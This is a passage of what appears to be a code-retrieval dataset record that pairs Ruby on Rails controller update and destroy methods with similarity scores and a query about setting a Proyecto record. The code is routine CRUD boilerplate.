Produkt.find(params[:id])\n\t\t@produkt.rozmiarxs = params[:rozmiarxs]\n\t\t@produkt.rozmiars = params[:rozmiars]\n\t\t@produkt.rozmiarm = params[:rozmiarm]\n\t\t@produkt.rozmiarl = params[:rozmiarl]\n\t\t@produkt.rozmiarxl = params[:rozmiarxl]\n\t\t@produkt.rozmiarxxl = params[:rozmiarxxl]\n\n \t\trespond_to do |format|\n \t\t\tif @produkt.update_attributes(params[:produkt])\n \t\tformat.html { redirect_to @produkt, notice: 'Produkt uaktualniono.' }\n \t\tformat.json { head :no_content }\n \t\t\telse\n \t\tformat.html { render action: \"edit\" }\n \t\tformat.json { render json: @produkt.errors, status: :unprocessable_entity }\n \t\t\tend\n \t\tend\n\telse\n\tredirect_to (:produkts), :notice => \"Nie masz uprawnien do edycji produktu!\"\n\tend\n else\n\tredirect_to (:produkts), :notice => \"Nie masz uprawnien do edycji produktu!\"\n end\n end", "def update\n respond_to do |format|\n if @politecnico.update(politecnico_params)\n format.html { redirect_to @politecnico, notice: 'Politecnico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @politecnico.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def activo_update\n respond_to do |format|\n activo = params[:producto][:activo]\n id = params[:id]\n Producto.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end", "def update\n @new_pro = NewPro.find(params[:id])\n\n respond_to do |format|\n if @new_pro.update_attributes(params[:new_pro])\n format.html { redirect_to @new_pro, notice: 'New pro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @new_pro.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n @tipo_negocio = TipoNegocio.find(params[:id])\n\n respond_to do |format|\n if @tipo_negocio.update_attributes(params[:tipo_negocio])\n format.html { redirect_to @tipo_negocio, notice: 'Tipo negocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_negocio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @provin.update(provin_params)\n format.html { redirect_to @provin, notice: 'Provin was successfully updated.' }\n format.json { render :show, status: :ok, location: @provin }\n else\n format.html { render :edit }\n format.json { render json: @provin.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @produto = Produto.find(params[:id])\n \n params[:produto][:preco_compra] = converte_valor_banco params[:produto][:preco_compra]\n params[:produto][:preco_venda] = converte_valor_banco params[:produto][:preco_venda]\n\n respond_to do |format|\n if @produto.update_attributes(params[:produto])\n format.html { redirect_to @produto, notice: 'Produto was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @profesore = Profesore.find(params[:id])\n\n respond_to do |format|\n if @profesore.update_attributes(params[:profesore])\n format.html { redirect_to @profesore, notice: 'Profesore was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @profesore.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n if @competicao.update_attributes(params[:competicao])\n format.html { redirect_to @competicao, notice: 'Competicao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @competicao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipoveiculo.update(tipoveiculo_params)\n format.html { redirect_to @tipoveiculo, notice: 'Tipoveiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoveiculo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @protectora = Protectora.find(params[:id])\n\n respond_to do |format|\n if @protectora.update_attributes(params[:protectora])\n format.html { redirect_to @protectora, notice: 'Protectora was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @protectora.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n respond_to do |format|\n if @proforma.update(proforma_params)\n format.html { redirect_to @proforma, notice: 'Proforma generada correctamente.' }\n format.json { render :show, status: :ok, location: @proforma }\n else\n format.html { render :edit }\n format.json { render json: @proforma.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @politico.update(politico_params) and @politico.update_attributes(:modificador => current_user.id)\n format.html { redirect_to @politico, notice: 'Politico was successfully updated.' }\n format.json { render :show, status: :ok, location: @politico }\n else\n format.html { render :edit }\n format.json { render json: @politico.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def update\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n if @colegio.update_attributes(params[:colegio])\n format.html { redirect_to @colegio, notice: 'El Colegio fue actualizado satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prospecto_meta_largo_plazo.update(prospecto_meta_largo_plazo_params)\n format.html { redirect_to @prospecto_meta_largo_plazo, notice: 'Prospecto meta largo plazo was successfully updated.' }\n format.json { render :show, status: :ok, location: @prospecto_meta_largo_plazo }\n else\n format.html { render :edit }\n format.json { render json: @prospecto_meta_largo_plazo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @parlo.update(parlo_params)\n format.html { redirect_to @parlo, notice: 'Parlo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @parlo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ventas_presupuesto = Ventas::Presupuesto.find(params[:id])\n\n respond_to do |format|\n if @ventas_presupuesto.update_attributes(params[:ventas_presupuesto])\n format.html { redirect_to @ventas_presupuesto, notice: 'Presupuesto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ventas_presupuesto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to(@premio, :notice => 'Premio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @problema.update(problema_params)\n format.html { redirect_to @problema, notice: 'Problema was successfully updated.' }\n format.json { render :show, status: :ok, location: @problema }\n else\n format.html { render :edit }\n format.json { render json: @problema.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @partecipante = Partecipante.find(params[:id])\n\n respond_to do |format|\n if @partecipante.update_attributes(params[:partecipante])\n format.html { redirect_to @partecipante, notice: 'Partecipante was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @partecipante.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tiposervico.update(tiposervico_params)\n format.html { redirect_to @tiposervico, notice: 'Tiposervico was successfully updated.' }\n format.json { render :show, status: :ok, location: @tiposervico }\n else\n format.html { render :edit }\n format.json { render json: @tiposervico.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prospecto_telefono.update(prospecto_telefono_params)\n format.html { redirect_to @prospecto_telefono, notice: 'Prospecto telefono was successfully updated.' }\n format.json { render :show, status: :ok, location: @prospecto_telefono }\n else\n format.html { render :edit }\n format.json { render json: @prospecto_telefono.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @usuario_proyecto.update(usuario_proyecto_params)\n format.html { redirect_to @usuario_proyecto, notice: 'Usuario proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @usuario_proyecto }\n else\n format.html { render :edit }\n format.json { render json: @usuario_proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cooperativa = Cooperativa.find(params[:id])\n\n respond_to do |format|\n if @cooperativa.update_attributes(params[:cooperativa])\n format.html { redirect_to [:admin, @cooperativa], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cooperativa.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.6750719", "0.65727633", "0.6549982", "0.6427636", "0.6297406", "0.62486005", "0.6248336", "0.6240695", "0.62314135", "0.6223655", "0.6201656", "0.6180142", "0.61735", "0.61706847", "0.6152254", "0.6148719", "0.6139555", "0.6128541", "0.61111987", "0.61111987", "0.61111987", "0.61111987", "0.6106734", "0.60760385", "0.6068254", "0.6055334", "0.60521835", "0.60498697", "0.6049835", "0.6043305", "0.6022995", "0.6021681", "0.60163575", "0.60163575", "0.60087454", "0.60025513", "0.5998857", "0.59835875", "0.59833604", "0.59737813", "0.59711564", "0.59620374", "0.5954961", "0.59537613", "0.59510535", "0.59451157", "0.59391993", "0.59348917", "0.5931156", "0.5924821", "0.5922657", "0.59221494", "0.59132636", "0.59128225", "0.5907125", "0.59057444", "0.5894995", "0.5892368", "0.5890924", "0.5889728", "0.58896154", "0.58811504", "0.58797383", "0.587748", "0.58761126", "0.58760774", "0.58760726", "0.5868738", "0.58642364", "0.58568686", "0.5853752", "0.5852118", "0.58503497", "0.58497566", "0.58464676", "0.58446455", "0.58443016", "0.5841651", "0.58412087", "0.58395314", "0.58392245", "0.5838629", "0.5837432", "0.5836933", "0.5835489", "0.58279544", "0.5823127", "0.5811624", "0.5811624", "0.58061993", "0.58061016", "0.58016247", "0.580143", "0.5801088", "0.58005077", "0.57988054", "0.57984847", "0.57969964", "0.5793452", "0.5792389" ]
0.5977297
39
DELETE /proyectos/1 DELETE /proyectos/1.json
def destroy @proyecto.destroy respond_to do |format| format.html { redirect_to proyectos_url, notice: 'Proyecto was successfully destroyed.' } format.json { head :no_content } flash[:success] = "Proyecto eliminado" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @proyect = Proyect.find(params[:id])\n @proyect.destroy\n\n respond_to do |format|\n format.html { redirect_to proyects_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @proyect.destroy\n respond_to do |format|\n format.html { redirect_to proyects_url, notice: \"Proyect was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @proyect.destroy\n respond_to do |format|\n format.html { redirect_to proyects_url, notice: 'Proyect was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: 'Proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: 'Proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: 'Proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: 'Proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @proyect.destroy\r\n respond_to do |format|\r\n format.html { redirect_to proyects_url, notice: 'Proyect was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: \"Proyecto was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @proyect = Proyect.find(params[:id])\n @proyect.destroy\n\n respond_to do |format|\n format.html { redirect_to(proyects_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @proyectos_user.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_users_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @proyectominero2.destroy\n respond_to do |format|\n format.html { redirect_to proyectominero2s_url, notice: 'Proyectominero2 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\r\n respond_to do |format|\r\n if @proyecto.destroy\r\n proyectos=Proyecto.where(:user_id=>@user_id)\r\n #response={msge:{type: 'success', msg:\"Proyecto eliminado satisfactoriamente\"},proyectos:proyectos}\r\n format.html { render :json => proyectos, meta: {msge:{type: 'success', msg:\"Proyecto eliminado satisfactoriamente\"}}}\r\n else\r\n response={msge:{type: 'warning', msg:\"Ocurrió un error en el servidor\"}}\r\n format.html { render json: response }\r\n end\r\n end\r\n end", "def destroy\n @produccion = Produccion.find(params[:id])\n @produccion.destroy\n\n respond_to do |format|\n format.html { redirect_to produccions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @produccion = Produccion.find(params[:id])\n @produccion.destroy\n\n respond_to do |format|\n format.html { redirect_to producciones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @persona_proyecto.destroy\n respond_to do |format|\n format.html { redirect_to personas_proyectos_url, notice: 'Persona proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @orden_proyecto.destroy\n respond_to do |format|\n format.html { redirect_to orden_proyectos_url, notice: 'Orden proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @prod_cli.destroy\n respond_to do |format|\n format.html { redirect_to prod_clis_url, notice: 'produto excluido com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @proceso_examan.destroy\n respond_to do |format|\n format.html { redirect_to proceso_examen_url, notice: 'Proceso examan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @archivo_proyecto.destroy\n respond_to do |format|\n format.html { redirect_to archivo_proyectos_url, notice: 'Archivo proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @pessoa = Pessoa.find(params[:id])\n @pessoa.destroy\n\n respond_to do |format|\n format.html { redirect_to pessoas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @produto = Produto.find(params[:id])\n @produto.destroy\n\n respond_to do |format|\n format.html { redirect_to produtos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @colegio = Colegio.find(params[:id])\n @colegio.destroy\n\n respond_to do |format|\n format.html { redirect_to colegios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @proceso = Proceso.find(params[:id])\n @proceso.destroy\n\n respond_to do |format|\n format.html { redirect_to(procesos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @propiedadclase.destroy\n respond_to do |format|\n format.html { redirect_to propiedadclases_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @profilsekolah.destroy\n respond_to do |format|\n format.html { redirect_to profilsekolahs_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @concurso = Concurso.find(params[:id])\n @concurso.destroy\n\n respond_to do |format|\n format.html { redirect_to concursos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @anteproyecto_observacion.destroy\n respond_to do |format|\n format.html { redirect_to anteproyecto_observaciones_url, notice: 'Anteproyecto observacion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_proyecto.destroy\n respond_to do |format|\n format.html { redirect_to user_proyectos_url, notice: 'User proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @premio = Premio.find(params[:id])\n @premio.destroy\n\n respond_to do |format|\n format.html { redirect_to premios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @premio = Premio.find(params[:id])\n @premio.destroy\n\n respond_to do |format|\n format.html { redirect_to premios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @odontologia1 = Odontologia1.find(params[:id])\n @odontologia1.destroy\n\n respond_to do |format|\n format.html { redirect_to odontologia1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @proyecto_imagen.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_path(@proyecto_imagen.proyecto), notice: 'La imagen ha sido borrada' }\n format.json { head :no_content }\n end\n end", "def destroy\n @profesore = Profesore.find(params[:id])\n @profesore.destroy\n\n respond_to do |format|\n format.html { redirect_to profesores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @usuario_proyecto.destroy\n respond_to do |format|\n format.html { redirect_to usuario_proyectos_url, notice: 'Usuario proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tuhu_prodoct.destroy\n respond_to do |format|\n format.html { redirect_to tuhu_prodocts_url, notice: 'Prodoct was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def destroy\n @consumo = Consumo.find(params[:id])\n @consumo.destroy\n\n respond_to do |format|\n format.html { redirect_to consumos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @prodottos_operazione.destroy\n respond_to do |format|\n format.html { redirect_to controller: 'prodottos', action: 'show', id: @prodottos_operazione.id_prodotto }\n format.json { head :no_content }\n end\n end", "def destroy\n @curso.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @proyecto = Proyecto.find(params[:id])\n @proyecto_id = @proyecto.id\n @proyecto.destroy\n end", "def destroy\n @proprietario.destroy\n respond_to do |format|\n format.html { redirect_to proprietarios_url, notice: 'Proprietario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @proposta.destroy\n respond_to do |format|\n format.html { redirect_to proposta_url, notice: 'Propostum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @projeto_arquitetonico.destroy\n respond_to do |format|\n format.html { redirect_to projeto_arquitetonicos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @produccion.destroy\n respond_to do |format|\n format.html { redirect_to produccions_url, notice: 'Produccion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @politecnico.destroy\n respond_to do |format|\n format.html { redirect_to politecnicos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @puntaje = Puntaje.find(params[:id])\n @puntaje.destroy\n\n respond_to do |format|\n format.html { redirect_to puntajes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @opcao.destroy\n respond_to do |format|\n format.html { redirect_to opcaos_url, notice: 'Opção Apagada com sucesso!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @servicio = Servicio.find(params[:id])\n @servicio.destroy\n\n respond_to do |format|\n format.html { redirect_to servicios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pologeno = Pologeno.find(params[:id])\n @pologeno.destroy\n\n respond_to do |format|\n format.html { redirect_to pologenos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pro_far = ProFar.where([\"producto_id = ? and farmacium_id = ?\", params[:id], session[:farmacia_id]]).first\n @pro_far.destroy\n respond_to do |format|\n msg = { :status => \"ok\", :message => \"Eliminado!\" }\n format.json { render :json => msg }\n end\n end", "def destroy\n @prospecto.destroy\n respond_to do |format|\n format.html { redirect_to prospectos_url, notice: 'Prospecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @propuestum.destroy\n respond_to do |format|\n format.html { redirect_to propuesta_url, notice: 'Propuestum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipoveiculo.destroy\n respond_to do |format|\n format.html { redirect_to tipoveiculos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @promocion = Promocion.find(params[:id])\n @promocion.destroy\n\n respond_to do |format|\n format.html { redirect_to promocions_url }\n #format.json { head :ok }\n end\n end", "def destroy\n @anteproyecto_estudiante.destroy\n respond_to do |format|\n format.html { redirect_to anteproyecto_estudiantes_url, notice: 'Anteproyecto estudiante was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @copropietario.destroy\n respond_to do |format|\n format.html { redirect_to copropietarios_url, notice: 'Copropietario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @poligono.destroy\n respond_to do |format|\n format.html { redirect_to poligonos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @przedmiot = Przedmiot.find(params[:id])\n @przedmiot.destroy\n\n respond_to do |format|\n format.html { redirect_to przedmioty_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @congreso = Congreso.find(params[:id])\n if congreso_propio?(@congreso) or current_user.is_admin?\n @congreso.destroy\n respond_to do |format|\n format.html { redirect_to congresos_url }\n format.json { head :ok }\n end\n else\n flash[:notice] = \"Solo puedes eliminar tus propios congresos\"\n redirect_to congresos_url\n end\n\n \n end", "def delete\n request(:delete)\n end", "def destroy\n @apoio.destroy\n respond_to do |format|\n format.html { redirect_to apoios_url, notice: 'Apoio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @probando.destroy\n respond_to do |format|\n format.html { redirect_to probandos_url, notice: 'Probando was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @estadoproceso.destroy\n respond_to do |format|\n format.html { redirect_to estadoprocesos_url, notice: 'Estadoproceso was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @propuesta.destroy\n respond_to do |format|\n format.html { redirect_to propuestas_url, notice: 'Propuesta was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def destroy\n @apolice.destroy\n respond_to do |format|\n format.html { redirect_to apolices_url, notice: 'Registro deletado com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n \n @lancamentorapido = Lancamentorapido.find(params[:id])\n @lancamentorapido.destroy \n\n respond_to do |format|\n format.html { redirect_to lancamentorapidos_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @prospecto.destroy\n respond_to do |format|\n format.html { redirect_to prospectos_url, notice: 'Prospecto eliminado' }\n format.json { head :no_content }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @precioproducto = Precioproducto.find(params[:id])\n @precioproducto.destroy\n\n respond_to do |format|\n format.html { redirect_to precioproductos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @profesor_pertenece_asignatura = ProfesorPerteneceAsignatura.find(params[:id])\n @profesor_pertenece_asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to profesor_pertenece_asignaturas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end", "def destroy\n @prospie.destroy\n respond_to do |format|\n format.html { redirect_to prospies_url, notice: 'Prospie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @servico_pacote.destroy\n respond_to do |format|\n format.html { redirect_to servico_pacotes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pessoacondominio.destroy\n respond_to do |format|\n format.html { redirect_to pessoacondominios_url, notice: 'Pessoa deletada com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sistema = Sistema.find(params[:id])\n @sistema.destroy\n\n respond_to do |format|\n format.html { redirect_to sistemas_url }\n format.json { head :no_content }\n end\n end", "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "def destroy\n @reconocimiento = Reconocimiento.find(params[:id])\n @reconocimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to reconocimientos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @propose = Propose.find(params[:id])\n @propose.destroy\n\n respond_to do |format|\n format.html { redirect_to proposes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ocorrencia.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencias_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @protectora = Protectora.find(params[:id])\n @protectora.destroy\n\n respond_to do |format|\n format.html { redirect_to protectoras_url }\n format.json { head :ok }\n end\n end", "def destroy\n @ativo_outro = AtivoOutro.find(params[:id])\n @ativo_outro.destroy\n\n respond_to do |format|\n format.html { redirect_to ativo_outros_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @competicao = Competicao.find(params[:id])\n @competicao.destroy\n\n respond_to do |format|\n format.html { redirect_to competicoes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @veiculo = Veiculo.find(params[:id])\n @veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to veiculos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @pessoa.destroy\n respond_to do |format|\n format.html { redirect_to pessoas_url, notice: 'Registro deletado com sucesso!.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @puisi.destroy\n respond_to do |format|\n format.html { redirect_to puisis_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @progre = Progre.find(params[:id])\n @progre.destroy\n\n respond_to do |format|\n format.html { redirect_to(progres_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @projeto = Projeto.find(params[:id])\n @projeto.destroy\n\n respond_to do |format|\n format.html { redirect_to projetos_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7300574", "0.7018263", "0.70138794", "0.69423604", "0.69423604", "0.69423604", "0.69423604", "0.69410664", "0.69392014", "0.6930727", "0.6881607", "0.68775445", "0.6863505", "0.68587476", "0.6850788", "0.68427926", "0.6756246", "0.6753744", "0.67408174", "0.67301637", "0.67263776", "0.672545", "0.6718027", "0.67051715", "0.6702947", "0.6702947", "0.6702947", "0.6702947", "0.6701256", "0.6697063", "0.66942555", "0.6685832", "0.6682352", "0.6677393", "0.6672514", "0.66660684", "0.6663167", "0.66528773", "0.66521746", "0.66521746", "0.66436815", "0.6637413", "0.66369444", "0.66363865", "0.66356844", "0.66353166", "0.66303664", "0.6627018", "0.6624538", "0.66100246", "0.6603919", "0.66020495", "0.6599813", "0.6596444", "0.6593258", "0.6586147", "0.6584863", "0.65734094", "0.6570932", "0.65702045", "0.6563823", "0.65609217", "0.6555264", "0.6554437", "0.65502626", "0.6547116", "0.65440285", "0.65386486", "0.6536828", "0.65317285", "0.65297323", "0.65263075", "0.6525124", "0.6521794", "0.65143037", "0.6512623", "0.6512488", "0.6509568", "0.6509273", "0.6504948", "0.6504135", "0.65007126", "0.64991796", "0.6498798", "0.64947695", "0.6494641", "0.6490317", "0.6489189", "0.64886916", "0.6484618", "0.64830834", "0.64813465", "0.64795476", "0.64783365", "0.64766985", "0.6476651", "0.6475572", "0.64747894", "0.6473976", "0.6473091" ]
0.67983055
16
Use callbacks to share common setup or constraints between actions.
def set_proyecto @proyecto = Proyecto.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def 